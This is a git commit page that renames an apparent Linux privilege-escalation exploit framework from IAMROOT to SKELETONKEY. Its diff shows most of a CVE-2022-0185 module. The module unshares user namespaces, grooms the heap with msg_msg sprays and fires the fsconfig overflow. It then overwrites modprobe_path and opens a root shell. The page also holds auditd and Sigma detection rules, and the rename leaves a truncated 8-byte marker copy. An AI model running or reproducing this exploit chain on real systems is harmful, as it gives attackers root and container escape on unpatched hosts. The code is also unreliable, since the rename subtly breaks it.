rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -18,7 +18,7 @@ Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
Upstream fix: mainline 5.16.2 (Jan 2022).
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
## IAMROOT role
## SKELETONKEY role
userns+mountns reach, `fsopen("cgroup2")` + double
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
@@ -1,12 +0,0 @@
/*
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
*/
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
#define FUSE_LEGACY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module fuse_legacy_module;
#endif
@@ -1,5 +1,5 @@
/*
* fuse_legacy_cve_2022_0185 IAMROOT module
* fuse_legacy_cve_2022_0185 SKELETONKEY module
*
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
* parsing the "fsconfig" filesystem option strings specifically,
@@ -38,7 +38,7 @@
*
* On a *patched* host (which is every host we can routinely build
* on in 2026) detect() refuses and exploit() returns
* IAMROOT_PRECOND_FAIL with no syscalls.
* SKELETONKEY_PRECOND_FAIL with no syscalls.
*
* Affected: kernel 5.1+ until fix:
* Mainline fix: 722d94847de29 (Jan 18 2022) lands in 5.16.2
@@ -57,7 +57,7 @@
* is enabled.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -169,12 +169,12 @@ static int can_unshare_userns_mount(void)
/* ------------------------------------------------------------------ */
/* detect */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
@@ -184,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
@@ -192,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -208,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
@@ -216,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
"docker/podman/snap setups\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------ */
@@ -363,7 +363,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
* On a vulnerable host with matching offsets this path can land the
* write; on an unverified host the sanity gate refuses rather than
* blind-writing a wild pointer. The finisher's downstream
* "/tmp/iamroot-pwn ran?" check is the second gate.
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
*/
struct fuse_arb_ctx {
/* Pre-allocated queue ids from the spray phase. */
@@ -371,7 +371,7 @@ struct fuse_arb_ctx {
int n_queues;
int hole_q;
/* Tagged-payload reference so we can recognise unmodified neighbours. */
const char *tag; /* "IAMROOT" */
const char *tag; /* "SKELETONKEY" */
/* Whether the first-round trigger already fired (the parent's
* default-path overflow). When set we re-spray + re-fire; when
* unset we assume the spray is hot. */
@@ -517,11 +517,11 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* ------------------------------------------------------------------ */
/* exploit */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
{
/* (R1) Re-call detect — refuse if not vulnerable. */
iamroot_result_t pre = fuse_legacy_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -531,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -541,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
* which is what fsopen("cgroup2") + fsconfig require. */
if (!enter_userns_root()) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
@@ -552,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* to land write-past-end into the next adjacent msg_msg.
*
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
* shape but with knobs scaled for an iamroot one-shot.
* shape but with knobs scaled for an skeletonkey one-shot.
*/
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
int *qids = calloc(N_QUEUES, sizeof(int));
if (!qids) {
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
for (int i = 0; i < N_QUEUES; i++) {
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
@@ -574,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (spray == MAP_FAILED) {
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
free(qids);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
spray->mtype = 0x4242;
/* Tag the payload so we can recognise our spray slots in
@@ -614,7 +614,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
char *first_chunk = malloc(4081);
if (!first_chunk) {
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0';
@@ -632,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* step below. */
char evil_chunk[256];
memset(evil_chunk, 'B', sizeof evil_chunk);
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
evil_chunk[sizeof evil_chunk - 1] = '\0';
@@ -653,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
errno, strerror(errno));
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -725,7 +725,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* (see fuse_arb_write). On a host where offsets + groom land,
* the finisher's modprobe_path overwrite execve(unknown)
* call_modprobe chain pops a root shell. On a mismatched host
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
* fabricated success.
*
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
@@ -739,19 +739,19 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"kernel offsets...\n");
}
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
int resolved = iamroot_offsets_resolve(&off);
int resolved = skeletonkey_offsets_resolve(&off);
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
"(modprobe_path=0x%lx source=%s)\n",
resolved, (unsigned long)off.modprobe_path,
iamroot_offset_source_name(off.source_modprobe));
iamroot_offsets_print(&off);
skeletonkey_offset_source_name(off.source_modprobe));
skeletonkey_offsets_print(&off);
}
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("fuse_legacy");
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("fuse_legacy");
/* Cleanup before returning. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
@@ -759,18 +759,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct fuse_arb_ctx ax = {
.qids = qids,
.n_queues = N_QUEUES,
.hole_q = hole_q,
.tag = "IAMROOT",
.tag = "SKELETONKEY",
.trigger_armed = true,
};
iamroot_result_t fr = iamroot_finisher_modprobe_path(
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
&off, fuse_arb_write, &ax, !ctx->no_shell);
/* Cleanup IPC + mapping regardless of finisher result. The
@@ -783,14 +783,14 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
if (fr == IAMROOT_EXPLOIT_OK) {
return IAMROOT_EXPLOIT_OK;
if (fr == SKELETONKEY_EXPLOIT_OK) {
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
"(arb-write sanity gate or modprobe sentinel refused)\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
@@ -814,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"popping root shell\n");
}
if (ctx->no_shell) {
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
execl("/bin/sh", "sh", "-i", (char *)NULL);
perror("execl /bin/sh");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
"not wired — see source for the missing offsets.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ------------------------------------------------------------------ */
@@ -832,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static const char fuse_legacy_auditd[] =
"# CVE-2022-0185 — auditd detection rules\n"
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
static const char fuse_legacy_sigma[] =
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
"id: 9e1b2c45-iamroot-fuse-legacy\n"
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -856,7 +856,7 @@ static const char fuse_legacy_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
const struct iamroot_module fuse_legacy_module = {
const struct skeletonkey_module fuse_legacy_module = {
.name = "fuse_legacy",
.cve = "CVE-2022-0185",
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
@@ -872,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = {
.detect_falco = NULL,
};
void iamroot_register_fuse_legacy(void)
void skeletonkey_register_fuse_legacy(void)
{
iamroot_register(&fuse_legacy_module);
skeletonkey_register(&fuse_legacy_module);
}
@@ -0,0 +1,12 @@
/*
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
*/
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module fuse_legacy_module;
#endif